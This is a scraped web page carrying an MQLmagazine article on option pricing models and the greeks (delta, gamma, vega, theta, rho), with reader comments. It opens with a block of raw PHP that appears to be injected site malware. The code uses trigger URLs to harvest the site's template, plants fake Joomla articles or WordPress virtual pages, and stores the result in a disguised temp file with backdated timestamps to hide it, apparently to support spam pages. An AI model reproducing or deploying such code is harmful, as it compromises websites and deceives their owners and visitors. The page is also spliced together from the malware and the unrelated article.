if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#


#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } Intro to Options. Part II : Option valuation and greeks | MQLmagazine.com

Intro to Options. Part II : Option valuation and greeks

[Versiunea romaneasca] [MQLmagazine.com in romana] [English edition]

The evolution of option valuation models in time

Like any other assets transacted on a market, options go thru a valuation process. Traders of other assets make up their mind using technical analysis, they analyse previous prices in order to forecast evolution for the future, but when option markets were created, traders didn’t had a clue on how option price forms up. That was the moment when the first option valuation model, the Black-Scholes model, largely used even nowadays, despite its limits, emerged. Once that traders had a model, even far from perfection, options could have been priced and have a market. After the appearance of every new option, the model role is to tell when options are overbought or oversold. However, the most important factors in option trading are option greeks, sensitivities of option price to several parameters that allow building up completely different strategies than the ones based on overbought/oversold situations or the simple ones based on underlying estimations. But again, these sensitivities are results of the option model as well. So let’s review the option models….

The Black-Scholes model
Also called “the grand daddy” of the option models, it was the first and it has the largest use. It was made by Fischer Black and Myron Scholes in 1973 and it got them the Nobel prize for Economics in 1997. Its limits are:
a. it can be used only for european options (the ones that don’t allow early exercise)
b. implied volatility (volatility plugged into the model that gives option value equal to option price) is considered constant;
c. no dividend payouts for the lifetime of the option.

The binomial model
It is based on the same assumptions as the Black-Scholes model, but adjusted to allow american option pricing ; also , it has a better integrity over time. It breakes down the interval to expiry into a series of steps, building a tree of underlying prices. Each step, the underlying is considered to go either up or down. However, it is not pricing the fact that most of the time markets don’t move. This was its limit to be overcome by the next model, the trinomial model , that accounts for the fact that markets can stay. The model also takes into consideration the volatility smile which is not present in the previous ones. Since the trinomial model went pretty good, someone came with the idea to use more nodes , and so the adaptive mesh model was born.

The VSK model is a newer , different breed of option models. It means Volatility, Skewness and Kurtosis. Previous models accounted for a normal distribution of stock returns. But stock returns don’t follow a normal distribution. The distribution may be different, so the model has to adjust for skewness , which is the disbalance of the mean (the mean is not in the middle of the event array) , and kurtosis , which is the fattening of the tail of the distribution’s bell curve. The model is a Black-Scholes model adjusted for volatility, skewness and kurtosis.


The finite difference model is able to calculate the volatility surface created by skewness and kurtosis.

An option model outputs the option value, and option sensitivities, the greeks.

In this article I’m using and commenting charts from OptionTradingTips.com (statistics sites are source for distribution pictures). Also a very good option education source are the Options University courses by Ron Ianieri.


Delta is the first derivative of option value, indicating how much the value of the option will move at a modification in underlying price. This is why delta is called percent change. Delta is also called percent chance, its value indicating what is the chance for that option to expire in the money. Delta is at the same time hedge ratio , indicating how much of the underlying contract must be bought/sold in order to equal the movement in option price. Deltas are additive. The delta of an option portfolio made up by several options on the same underlying asset, is the sum of individual options delta times position sizes. This kind of delta is called position delta. If we are to include the underlying in a portfolio, we can say the underlying has a delta of 1.

Option Delta

Option Delta

Call Delta vs Underlying Price

Put Delta vs Underlying Price

Look carefully at these charts. Charts two and three might seem to contradict the first, but in the first chart the horizontal axis is the on money status of the options, whether in two and free the horizontal axis is the underlying price. Delta ranges from 0 to 1 for Call options, and from 0 to -1 for Put options. Please note that there is also a percentual notation for option, where options might have deltas of 100 or -100. The more out of the money options are, the closer to 0 delta is , i.e. options are almost insensitive to underlying shifts; the more in the money options are, the more extreme values it takes, i.e. options value almost copies underlying movement. Also, the sum of the call delta and the absolute value of it’s correspondent put must yield 1 (or 100, if percentually).

Call Deltas and expiries

Strike Jun Jul Oct Jan
25 1.00 0.99 0.94 0.90
35 0.80 0.80 0.78 0.77
45 0.60 0.61 0.63 0.64
55 0.40 0.42 0.48 0.51
65 0.20 0.23 0.33 0.38
75 0.00 0.04 0.18 0.26

Put Deltas and expiries

Strike Jun Jul Oct Jan
25 0.00 -0.01 -0.06 -0.10
35 -0.20 -0.20 -0.21 -0.23
45 -0.40 -0.39 -0.37 -0.36
55 -0.60 -0.58 -0.52 -0.48
65 -0.80 -0.77 -0.67 -0.61
75 -1.00 -0.96 -0.82 -0.74

As we look at farther expiries, we find decreasing deltas for ITM Calls, and increasing deltas for OTM Calls. For Put options, the situation is reversed : we find increasing deltas for ITM Puts, and decreasing deltas for OTM Puts (we may consider the same situation, but applied to the absolute delta value). Delta has a tendency to remain quite constant for ATM options. For farther expiries, the delta range (maximum and minimum delta per all strikes) is shrinking. As days go by, the ITM calls delta will be increasing (as chance to remain ITM goes higher) and the OTM calls delta will be decreasing (as their chance to become ITM decreases). Same behaviour applies to the absolute value of Put options delta. This effect is known as trumpification , which is a delta effect caused by time and volatility, that increases the deltas of OTM options, decreases the delta of ITM options, pushing them all towards 0.5 (absolute).


Gamma is the second derivative of option value, showing how much the delta moves at a movement in unerlying price (delta of the delta) .

Gamma vs Underlying Price

The above graph shows gamma vs underlying price for 3 different strike prices. You can see that gamma increases as the option moves from being in-the-money reaching its peak when the option is at-the-money. Then as the option moves out-of-the-money the gamma then decreases. gamma is of two types : long and short. Long gamma (positive number) is obtained by buying an option, short gamma (negative number) is obtained by selling an option; gamma is the same for both calls and puts. Gamma is highest in the front month, at the ATM strikes.

Strike Jun Jul Oct Jan
25 0.0000 0.0010 0.0070 0.0090
35 0.0044 0.0120 0.0168 0.0160
45 0.0396 0.0368 0.0264 0.0212
55 0.0750 0.0512 0.0312 0.0236
65 0.0378 0.0400 0.0296 0.0232
75 0.0040 0.0180 0.0230 0.0210

Gamma is additive, the same as delta is, and the sum of all gammas times position sizes for options on a certain underlying make the position gamma. Holding the underlying has no effect on position gamma, because underlying has 0 gamma, since its delta is constant.

Long gamma: if underlying goes up, delta increases ; if underlying goes down, delta decreases;
Short gamma: if underlying goes up, delta decreases ; if underlying goes down, delta increases.

Gamma Trading

Allows to flip the underlying back and forth, while hedged. In a Long Gamma Trading strategy, you can pick an underlying, be long on it, and also buy Puts to cover. From the expiry point of view, all movements in underlying are cancelled by the protective Put. Say you bought underlying at S price and your long Put has gamma power to create delta . If the underlying moves to S+1 , your long Put created already gamma deltas. These new deltas have to be hedged by selling underlying to cover it, thus becoming flat. Underlying moves back to S, and now you have -gamma deltas to hedge , which will be done by buying underlying. These trades will create profit, but you have to constantly fight the decay – because you payed money on the premium of the Put, which is constantly decaying as an effect of time.
The reverse strategy, that bets on larger decay than the underlying flips, is Short Gamma Trading. We will be long again on the underlying, but instead of buying puts, we will sell Calls. If the underlying moves to S+1 , the short call created already -gamma deltas, that have to be hedged by buying underlying. Underlying moves back to S, and now you have gamma deltas to hedge , which will be done by selling underlying. This strategy will create losses as underlying flips, but the goal of it is to collect premium from the sold calls, as the decay is slowly decreasing calls value. This strategy is applicable when we have momentum happening on the underlying, that is, when underlying volatility is increasing. Remember that in my previous article from the November edition, Volatility analysis : bridging the cap from volatility forecasting to price forecasting I stated that the price direction is much harder to forecast than the volatility. It is my belief that volatility analysis is to be used mostly for option trading rather than plain underlying trading. We will go back to these strategies as soon as both Strategy Tester and options will become available.

Vega – the volatility greek

And when we talk about volatility’s influence on the option price, we talk about implied volatility rather than historical volatility (underlying volatility) . This implied volatility is the volatility plugged into the option model that yields the current price as option value. From this moment, “volatility” will be read as “implied volatility”. Vega is not a greek letter, so the greek letter used for vega is actually Nu (uppercase N, lowercase v). The volatility “smile” refers to different strikes but in the same month. It is called smile because the ATM options have the lowest volatility, and OTM and ITM have higher volatilities. Following is a table of the volatility surface. Each series of strikes per each month make up a “volatility smile”. Same strike volatilities, per a months, make up a “volatility tilt”. Some option softwares contain volatility surface graphing (like this example).

Strike Jun Jul Oct Jan
25 0.540 0.520 0.500 0.460
35 0.494 0.484 0.464 0.424
45 0.462 0.452 0.432 0.396
55 0.462 0.452 0.432 0.396
65 0.494 0.484 0.464 0.424
75 0.540 0.520 0.500 0.460

Smile and tilt are ways to analyse whether there volatility misprincings. Vertical spread is a strategy to use for a mispriced smile. A time spread strategy is used to take advantage from the misprice of a volatility tilt.Deciding whether volatility is too high or too low has to take into account the historical evolution of implied volatilities , and hopefully MetaQuotes will introduce in the CopyRates() an array for historical access to implied volatility. Volatility influences option prices directly. When volatility increases, all options go up , and when volatility decreases, all options go down. Volatility has a reversed effect on gamma. When volatility increases, gammas go down, and when volatility decreases, gammas go up.

Volatility evolution ITM delta ATM delta OTM delta
Increases Decreases Varies insignifiantly Increases
Decreases Increases Varies insignifiantly Decreases

Vega indicates how much the option price is going to move at a 1 percentual point move in volatility.

Vega vs Underlying Price

Vegas are additive too, however it is necessary that option prices to be adjusted to the same volatility before an analysis to be done. This will be done by picking up the volatility of an option and adjusting the other ones prices to that volatility, using their own vegas.

The behaviour of a vega across strikes is similar to gamma. However, the behaviour of vega in time is reversed compared to gamma. As expiries go farther and farther , gamma decreases, while vega increases.
Having a portfolio of options on the same underlying, the vega impact has to be estimated after all of them are brought to the same volatility (like a common denominator), i.e. by adding, on each one of them, n ticks multiplicated by each vega to make up the required average volatility.

Vega is important, because for farther expiries, it can be more powerful than delta.

Theta – the time greek

Theta measures an option’s rate of decay over time. The decay applies to option’s extrinsic value.
Now the value of the option is composed by the intrinsic value and extrinsic value. The intrinsic value is not subject of decay, because it measures what is rock solid at any given moment in time : the difference between underlying price and strike price, for Call options, or the reverse, for Put options. The extrinsic value accounts for chance given by time left to expiry: it is the difference between option price and intrinsic value. Since this chance is given by time, extrinsic value is called also time value.

Option Price as Time Passes

The passing of the time has effect not only on option value, but also on delta. Because delta means “percent chance”, it will decrease the delta of the OTM options, and will increase the delta of the ITM options. ATM options delta will remain unaffected. Because of this influence of time over delta, it has an influence also on gamma, depending on where delta was.

Theta , viewed across strikes and expiries, has quite the same pattern as gamma. Theta is always highest front month, ATM. However, front month very far ITM and OTM strikes might have smaller theta values than for the rest, because they lose their sensibility.

Rho – the interest rate greek

Rho is the change in option value that results from movements in interest rates.
The value is represented as the change in theoretical price of the option for a 1 percentage point movement in the underlying interest rate. For example, say you’re pricing a Call option with a theoretical value of 2.50 that is showing a Rho value of .25. If interest rates increase from 5% to 6%, then the price of the call option, theoretically at least will increase from 2.50 to 2.75.

Call Option Rho

Put Option Rho

Take a look at the above graphs, which plot the Rho of a Call and a Put option at 3 different points in time, across a range of strike prices, with a spot price of 100.

There are also second tier greeks. These greeks quantify impact of volatility and time over delta , gamma and theta. These greeks are helpful for traders that trade options in a non-automated way, because they map the impacts of time and volatility on the first tier greeks. On the other hand, an automated options EA has to be programmed into permanently reading portfolio situation and first tier greeks in order to restructure portfolio according to them.

An application of the Black-Scholes model for european options including value and greeks determination can be found in our article Virtual methods in MQL5 – an application on options .

Tags: , , , , , , ,

4 Responses to “ Intro to Options. Part II : Option valuation and greeks ”

  1. Larry Schutte on April 4, 2010 at 4:23 am

    Could you give a reference for further reading on the newer option pricing models such as the VSK? Very good, concise, summary article. Thanks.

  2. protective put on February 6, 2011 at 4:22 am

    I am searching for strategies that the home trader can use, and the views on your site help with this. We can read about various simple and complex options strategies, but is it realistic for the home trader to attempt these? Do the available trading platforms allow complex multi-part trades for this kind of investor?

  3. Bogdan Caramalac, MQLmagazine sr.editor on February 19, 2011 at 10:37 pm

    As you know, TradeStation and OptionStation don’t allow option automation. I like automation, therefore I emphasize APIs more than platforms – like, for instance, the MB Trading API. But, for the retail investor, heard the best option would be ThinkOrSwim. Account must be pretty substantial, however…

Leave a Reply